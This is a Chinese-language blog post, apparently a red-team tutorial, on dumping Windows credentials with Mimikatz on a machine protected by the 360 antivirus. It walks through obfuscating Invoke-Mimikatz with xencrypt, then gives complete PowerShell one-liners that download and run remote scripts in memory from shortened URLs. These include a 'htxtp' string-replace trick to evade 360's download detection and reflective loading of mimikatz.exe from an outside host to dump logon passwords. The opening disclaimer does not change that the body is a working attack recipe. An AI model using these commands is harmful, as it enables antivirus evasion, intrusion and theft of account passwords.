* 严正声明: 本文仅限于技术讨论与分享, 严禁用于非法途径.
目标机 system 权限, 安装了 360, 准备获取密码.
mimikatz 的 exe,powershell 版 (可上 GitHub 下载) 网上版本已经被 360 已及各种杀软杀的死死的, 扔上去就挂
所以采用混淆加密方式来绕过杀软, 混淆脚本地址如下
https://github.com/the-xentropy/xencrypt
使用 AES 加密和 Gzip / DEFLATE 压缩, 每次调用都会生成一个唯一但是功能相同的脚本. 它通过压缩和加密输入脚本并将此数据作为有效载荷存储在新脚本中来实现免杀, 输出脚本将在运行有效载荷之前对其进行解密和解压缩.
使用方法
- Import-Module ./xencrypt.ps1
- Invoke-Xencrypt -InFile invoke-mimikatz.ps1-OutFile xenmimi.ps1
还可以通过 - Iterations 标志支持递归分层.
Invoke-Xencrypt -InFile invoke-mimikatz.ps1-OutFile xenmimi.ps1 -Iterations 100
可过 360 等大部分杀软, 但卡巴斯基被杀, 已经可以达成目标了.
在 win10 运行, 成功获取账号密码:
扔到 Win7 上试试, 出现报错
因为 win7powershell 版本为 2.0
混淆脚本采用 AES 加密和 Gzip / DEFLATE 压缩, 含有 powershell2.0 版本不支持调用的方法. 难搞哦. 要想办法过 w7+360, 可采用 powershell 方式绕过
可在 cmd 下执行
powershell -exec bypass "import-module.\Invoke-Mimikatz.ps1;Invoke-Mimikatz
因目标安装 360, 未混淆文件传上去就会被杀并弹窗, 所以采用远程加载方法绕过, 远程加载方法会在内存中运行 mimikatz, 无文件落地由此来绕过杀软
powershell "IEX (New-ObjectNet.webClient).DownloadString(' http://is.gd/oeoFuI '); Invoke-Mimikatz-DumpCreds"
被 360 判断为 PowerShell 下载攻击并弹窗, 360 针对 powershell 的 http 协议下载查杀, 但是检查内容只是命令中出现 http, 所以只需要一步简单的替换即可绕过('htxtp://is.gd/oeoFuI' -replace 'x',")
- (这里有个坑. 360 这个 zz, 在判断 PowerShell 下载攻击后, 接下来一段时间会直接对 powershell 拒绝访问, 实战直接执行下面的命令)
- powershell "IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://is.gd/oeoFuI'-replace'x',''));Invoke-Mimikatz -DumpCreds"
即可绕过 360 获取目标账号密码.
既然可以远程加载 powershell 绕过杀软, 那远程加载 exe 也同样可以, powershell 加载 exe 进内存运行需要 PowerSploit 中的 Invoke-ReflectivePEInjection 脚本, 地址如下
我们远程加载 Invoke-ReflectivePEInjection 再远程加载调用 mimikatz.exe 进内存以无文件落地方式绕过杀软读取账号密码(绕过 PowerShell 下载攻击弹窗方式同上), 命令如下
powershell.exe -exec bypass IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://suo.im/5FAjaC' -replace'x',''));Invoke-ReflectivePEInjection -PEUrl<a href="http://x.x.x.x/mimikatz.exe-ExeArgs">http://x.x.x.x/mimikatz.exe-ExeArgs</a>"sekurlsa::logonpasswords" -ForceASLR
-PEUrl : 包含要加载和执行的 DLL / EXE 的 URL
-ExeArgs : 所要执行命令
来源: http://www.tuicool.com/articles/Yr63uaU